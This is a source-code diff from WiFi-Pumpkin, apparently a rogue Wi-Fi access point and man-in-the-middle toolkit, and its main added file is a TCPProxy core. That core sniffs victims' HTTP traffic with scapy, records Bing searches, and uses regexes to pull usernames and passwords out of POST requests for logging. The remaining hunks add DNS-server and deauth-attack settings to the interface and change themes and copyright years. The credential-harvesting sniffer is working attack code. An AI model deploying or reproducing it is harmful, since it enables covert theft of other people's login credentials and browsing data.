+ This program is a core for wifi-pumpkin.py. file which includes functionality
+ for TCPProxy Core.
+
+Copyright:
+ Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see
+"""
+
+class ThreadSniffingPackets(QThread):
+ output_plugins = pyqtSignal(object)
+ def __init__(self,interface,session):
+ QThread.__init__(self)
+ self.interface = interface
+ self.session = session
+ self.stopped = False
+ self.config = SettingsINI('core/config/app/tcpproxy.ini')
+
+ def run(self):
+ self.main()
+
+ def sniffer(self,q):
+ while not self.stopped:
+ try:
+ sniff(iface=self.interface,
+ filter="tcp and ( port 80 or port 443 or port 8080)",
+ prn =lambda x : q.put(x), store=0)
+ except Exception:pass
+ if self.stopped:
+ break
+
+ def disablePlugin(self,name, status):
+ ''' disable plugin by name '''
+ plugin_on = []
+ if status:
+ for plugin in self.plugins:
+ plugin_on.append(self.plugins[plugin].Name)
+ if name not in plugin_on:
+ for p in self.plugin_classes:
+ pluginconf = p()
+ if pluginconf.Name == name:
+ self.plugins[name] = pluginconf
+ self.plugins[name].getInstance()._activated = True
+ print('TCPProxy::{0:17} status:On'.format(name))
+ else:
+ print('TCPProxy::{0:17} status:Off'.format(name))
+ self.plugins.pop(self.plugins[name].Name)
+
+ def main(self):
+ self.plugins = {}
+ self.plugin_classes = default.PSniffer.__subclasses__()
+ for p in self.plugin_classes:
+ plugin_load = p()
+ self.plugins[plugin_load.Name] = plugin_load
+ self.plugins[plugin_load.Name].output = self.output_plugins
+ self.plugins[plugin_load.Name].session = self.session
+ print '\n[*] TCPProxy running on port 80/8080:\n'
+ for name in self.plugins.keys():
+ if self.config.get_setting('plugins', name, format=bool):
+ self.plugins[name].getInstance()._activated = True
+ print('TCPProxy::{0:17} status:On'.format(name))
+ print('\n')
+ q = Queue.Queue()
+ sniff = Thread(target =self.sniffer, args = (q,))
+ sniff.start()
+ while (not self.stopped):
+ try:
+ pkt = q.get(timeout = 0)
+ for Active in self.plugins.keys():
+ if self.plugins[Active].getInstance()._activated:
+ self.plugins[Active].filterPackets(pkt)
+ except Queue.Empty:
+ pass
+
+ def snifferParser(self,pkt):
+ try:
+ if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6):
+ return
+ self.dport = pkt[TCP].dport
+ self.sport = pkt[TCP].sport
+ if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
+ self.src_ip_port = str(pkt[IP].src)+':'+str(self.sport)
+ self.dst_ip_port = str(pkt[IP].dst)+':'+str(self.dport)
+
+ if pkt.haslayer(Raw):
+ self.load = pkt[Raw].load
+ if self.load.startswith('GET'):
+ self.get_http_GET(self.src_ip_port,self.dst_ip_port,self.load)
+ self.searchBingGET(self.load.split('\n', 1)[0].split('&')[0])
+ elif self.load.startswith('POST'):
+ header,url = self.get_http_POST(self.load)
+ self.getCredentials_POST(pkt.getlayer(Raw).load,url,header,self.dport,self.sport)
+ except:
+ pass
+
+ def searchBingGET(self,search):
+ if 'search?q' in search :
+ searched = search.split('search?q=',1)[1]
+ searched = searched.replace('+',' ')
+ print 'Search::BING { %s }'%(searched)
+
+ def getCredentials_POST(self,payload,url,header,dport,sport):
+ user_regex = '([Ee]mail|%5B[Ee]mail%5D|[Uu]ser|[Uu]sername|' \
+ '[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
+ pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|' \
+ '[Pp]asswrd|[Pp]assw|%5B[Pp]assword%5D)=([^&|;]*)'
+ username = re.findall(user_regex, payload)
+ password = re.findall(pw_regex, payload)
+ if not username ==[] and not password == []:
+ self.output_plugins.emit({'POSTCreds':{'User':username[0][1],
+ 'Pass': password[0][1],'Url':url,'destination':'{}/{}'.format(sport,dport)}})
+
+ def get_http_POST(self,load):
+ dict_head = {}
+ try:
+ headers, body = load.split("\r\n\r\n", 1)
+ header_lines = headers.split('\r\n')
+ for item in header_lines:
+ try:
+ dict_head[item.split()[0]] = item.split()[1]
+ except Exception:
+ pass
+ if 'Referer:' in dict_head.keys():
+ return dict_head ,dict_head['Referer:']
+ except ValueError:
+ return None,None
+ return dict_head, None
+
+ def stop(self):
+ self.stopped = True
+ print 'Thread::[{}] successfully stopped.'.format(self.objectName())
\ No newline at end of file
diff --git a/core/themes/themeDefault.qss b/core/themes/themeDefault.qss
index d5b17bd..d3e1e1e 100644
--- a/core/themes/themeDefault.qss
+++ b/core/themes/themeDefault.qss
@@ -39,14 +39,14 @@ QProgressBar::chunk
QProgressBar::chunk {
- background-color: #05B8CC;
+ background-color: #808080;
width: 20px;
}
QProgressBar::chunk:horizontal {
- background-color: #05B8CC;
- width: 5px;
- margin: 0.5px;
+ background-color: #808080;
+ width: 10px;
+ margin: 0.1px;
}
QToolTip
diff --git a/core/utility/settings.py b/core/utility/settings.py
index 573a61b..49b614d 100644
--- a/core/utility/settings.py
+++ b/core/utility/settings.py
@@ -9,7 +9,7 @@
This program is a module for wifi-pumpkin.py.
Copyright:
- Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
+ Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
@@ -40,10 +40,12 @@ def __init__(self,Settings=None,parent= None):
self.GruPag2=QButtonGroup()
self.GruPag3=QButtonGroup()
self.GruPag4=QButtonGroup()
+ self.GruPag5=QButtonGroup()
# group options
self.groupAP = QGroupBox()
self.groupDhcp = QGroupBox()
+ self.groupDNS = QGroupBox()
self.groupDeauth = QGroupBox()
self.groupScan = QGroupBox()
self.groupThemes = QGroupBox()
@@ -51,6 +53,7 @@ def __init__(self,Settings=None,parent= None):
#form group
self.formGroupAP = QFormLayout()
self.formGroupDHCP = QFormLayout()
+ self.formGroupDNS = QFormLayout()
self.formGroupDeauth = QFormLayout()
self.formGroupScan = QFormLayout()
self.formGroupThemes = QFormLayout()
@@ -58,12 +61,14 @@ def __init__(self,Settings=None,parent= None):
# set layout into groupbox
self.groupAP.setLayout(self.formGroupAP)
self.groupDhcp.setLayout(self.formGroupDHCP)
+ self.groupDNS.setLayout(self.formGroupDNS)
self.groupDeauth.setLayout(self.formGroupDeauth)
self.groupScan.setLayout(self.formGroupScan)
self.groupThemes.setLayout(self.formGroupThemes)
self.groupAP.setTitle('Access Point:')
self.groupDhcp.setTitle('DHCP Server:')
+ self.groupDNS.setTitle('DNS Server:')
self.groupDeauth.setTitle('Deauth Attack:')
self.groupScan.setTitle('Scan Network:')
self.groupThemes.setTitle('Pumpkin Themes:')
@@ -72,11 +77,16 @@ def __init__(self,Settings=None,parent= None):
self.Apname = QLineEdit()
self.Apname.setFixedWidth(80)
self.channel = QSpinBox()
+ self.checkConnectionWifi = QCheckBox('Verify Wireless Connection GUI on startup')
self.network_manager = QCheckBox('Ignore USB Wi-Fi Adapter permanently')
self.network_manager.setToolTip('We will use this file to tell Network Manager to stop controlling '
'a particular interface.\nif you enable this options in next time you start AP the tool will not '
'remove the key\nfor exclude card in file of configuration.')
+ self.checkConnectionWifi.setToolTip('We will use this file to tell Network Manager to stop controlling '
+ 'a particular interface.\nif you enable this options in next time you start AP the tool will not '
+ 'check if you is connected on Wireless connection for \nfor exclude card in file of configuration.')
self.network_manager.setChecked(self.Settings.get_setting('accesspoint','persistNetwokManager',format=bool))
+ self.checkConnectionWifi.setChecked(self.Settings.get_setting('accesspoint','checkConnectionWifi',format=bool))
#page 1 widgets
self.AP_0 = QRadioButton('Hostapd')
@@ -90,6 +100,8 @@ def __init__(self,Settings=None,parent= None):
self.scan_airodump = QRadioButton('Scan from airodump-ng')
self.dhcpdserver = QRadioButton('Isc DHCP Server (dhcpd)')
self.pydhcpserver = QRadioButton('python DHCPServer')
+ self.ch_pyDNS_server = QRadioButton('Python DNS Server')
+ self.ch_DNSproxy_server = QRadioButton('dnsproxy as DNS-Server')
self.theme1 = QRadioButton('theme Default')
self.theme2 = QRadioButton('theme Blue Dark ')
self.theme3 = QRadioButton('theme Orange Dark')
@@ -103,6 +115,8 @@ def __init__(self,Settings=None,parent= None):
self.GruPag1.addButton(self.d_mdk)
self.GruPag2.addButton(self.pydhcpserver)
self.GruPag2.addButton(self.dhcpdserver)
+ self.GruPag5.addButton(self.ch_pyDNS_server)
+ self.GruPag5.addButton(self.ch_DNSproxy_server)
self.GruPag3.addButton(self.scan_scapy)
self.GruPag3.addButton(self.scan_airodump)
self.GruPag4.addButton(self.theme1)
@@ -119,6 +133,8 @@ def __init__(self,Settings=None,parent= None):
self.scan_airodump.setChecked(self.Settings.get_setting('settings','scan_airodump',format=bool))
self.pydhcpserver.setChecked(self.Settings.get_setting('accesspoint', 'pydhcp_server',format=bool))
self.dhcpdserver.setChecked(self.Settings.get_setting('accesspoint', 'dhcpd_server',format=bool))
+ self.ch_pyDNS_server.setChecked(self.Settings.get_setting('accesspoint', 'pydns_server',format=bool))
+ self.ch_DNSproxy_server.setChecked(self.Settings.get_setting('accesspoint', 'dnsproxy_server',format=bool))
self.theme_selected = self.Settings.get_setting('settings','themes')
check_path_hostapd = self.Settings.get_setting('accesspoint','hostapd_path')
@@ -143,18 +159,22 @@ def __init__(self,Settings=None,parent= None):
self.formGroupAP.addRow(self.AP_1)
self.formGroupAP.addRow('Location:',self.edit_hostapd_path)
self.formGroupAP.addRow(self.network_manager)
+ self.formGroupAP.addRow(self.checkConnectionWifi)
self.formGroupDeauth.addRow(self.d_scapy)
self.formGroupDeauth.addRow(self.d_mdk)
self.formGroupScan.addRow(self.scan_scapy)
self.formGroupScan.addRow(self.scan_airodump)
self.formGroupDHCP.addRow(self.pydhcpserver)
self.formGroupDHCP.addRow(self.dhcpdserver)
+ self.formGroupDNS.addRow(self.ch_pyDNS_server)
+ self.formGroupDNS.addRow(self.ch_DNSproxy_server)
self.formGroupThemes.addRow(self.theme1)
self.formGroupThemes.addRow(self.theme2)
self.formGroupThemes.addRow(self.theme3)
self.mainLayout.addRow(self.groupAP)
self.mainLayout.addRow(self.groupDhcp)
+ self.mainLayout.addRow(self.groupDNS)
self.mainLayout.addRow(self.groupScan)
self.mainLayout.addRow(self.groupDeauth)
self.mainLayout.addRow(self.groupThemes)
@@ -208,6 +228,8 @@ def save_settings(self):
self.Settings.set_setting('settings','scan_airodump',self.pageTab1.scan_airodump.isChecked())
self.Settings.set_setting('accesspoint','dhcpd_server',self.pageTab1.dhcpdserver.isChecked())
self.Settings.set_setting('accesspoint','pydhcp_server',self.pageTab1.pydhcpserver.isChecked())
+ self.Settings.set_setting('accesspoint','pydns_server',self.pageTab1.ch_pyDNS_server.isChecked())
+ self.Settings.set_setting('accesspoint','dnsproxy_server',self.pageTab1.ch_DNSproxy_server.isChecked())
if self.pageTab1.theme1.isChecked():
self.Settings.set_setting('settings','themes',str(self.pageTab1.theme1.objectName()))
elif self.pageTab1.theme2.isChecked():
@@ -224,6 +246,7 @@ def save_settings(self):
self.Settings.set_setting('accesspoint','ssid', str(self.pageTab1.Apname.text()))
self.Settings.set_setting('accesspoint','channel', str(self.pageTab1.channel.value()))
self.Settings.set_setting('accesspoint','persistNetwokManager',self.pageTab1.network_manager.isChecked())
+ self.Settings.set_setting('accesspoint','checkConnectionWifi',self.pageTab1.checkConnectionWifi.isChecked())
self.Settings.set_setting('accesspoint','check_support_ap_mode',self.check_interface_mode_AP.isChecked())
self.Settings.set_setting('settings','redirect_port', str(self.redirectport.text()))
if not path.isfile(self.pageTab1.edit_hostapd_path.text()):
diff --git a/core/utility/threads.py b/core/utility/threads.py
index 7d50f90..7799a47 100644
--- a/core/utility/threads.py
+++ b/core/utility/threads.py
@@ -16,7 +16,7 @@
from PyQt4.QtGui import QMessageBox
from plugins.external.sergio_proxy.plugins import *
from multiprocessing import Process,Manager
-from core.servers.proxy.controller.handler import MasterHandler
+from core.servers.proxy.http.controller.handler import MasterHandler
from mitmproxy import proxy,flow,options
from mitmproxy.proxy.server import ProxyServer
diff --git a/core/utils.py b/core/utils.py
index ecc44df..12471b0 100644
--- a/core/utils.py
+++ b/core/utils.py
@@ -19,7 +19,7 @@
for modules.
Copyright:
- Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
+ Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
@@ -144,7 +144,9 @@ def exportHtml(unchecked={},sessionID='',dataLogger=[],APname=''):
'dnsspoofAP': {'logs/AccessPoint/dnsspoof.log':[]},
'responder': {'logs/AccessPoint/responder.log':[]},
'pumpkinproxy': {'logs/AccessPoint/pumpkin-proxy.log':[]},
+ 'tcpproxy': {'logs/AccessPoint/tcp-proxy.log':[]},
'phishing': {'logs/Phishing/requests.log':[]},}
+ count_files = len(readFile.keys())
if unchecked != {}:
for key in unchecked.keys(): readFile.pop(key)
for key in readFile.keys():
@@ -174,11 +176,11 @@ def exportHtml(unchecked={},sessionID='',dataLogger=[],APname=''):
elif Refactor.getSize(readFile[key].keys()[0]) == 0:
emptyFile.append(key)
HTML += '\n
\
- ''WiFi-Pumpkin (C) 2015-2016 P0cL4bs Team' \
+ ''WiFi-Pumpkin (C) 2015-2017 P0cL4bs Team' \
' | |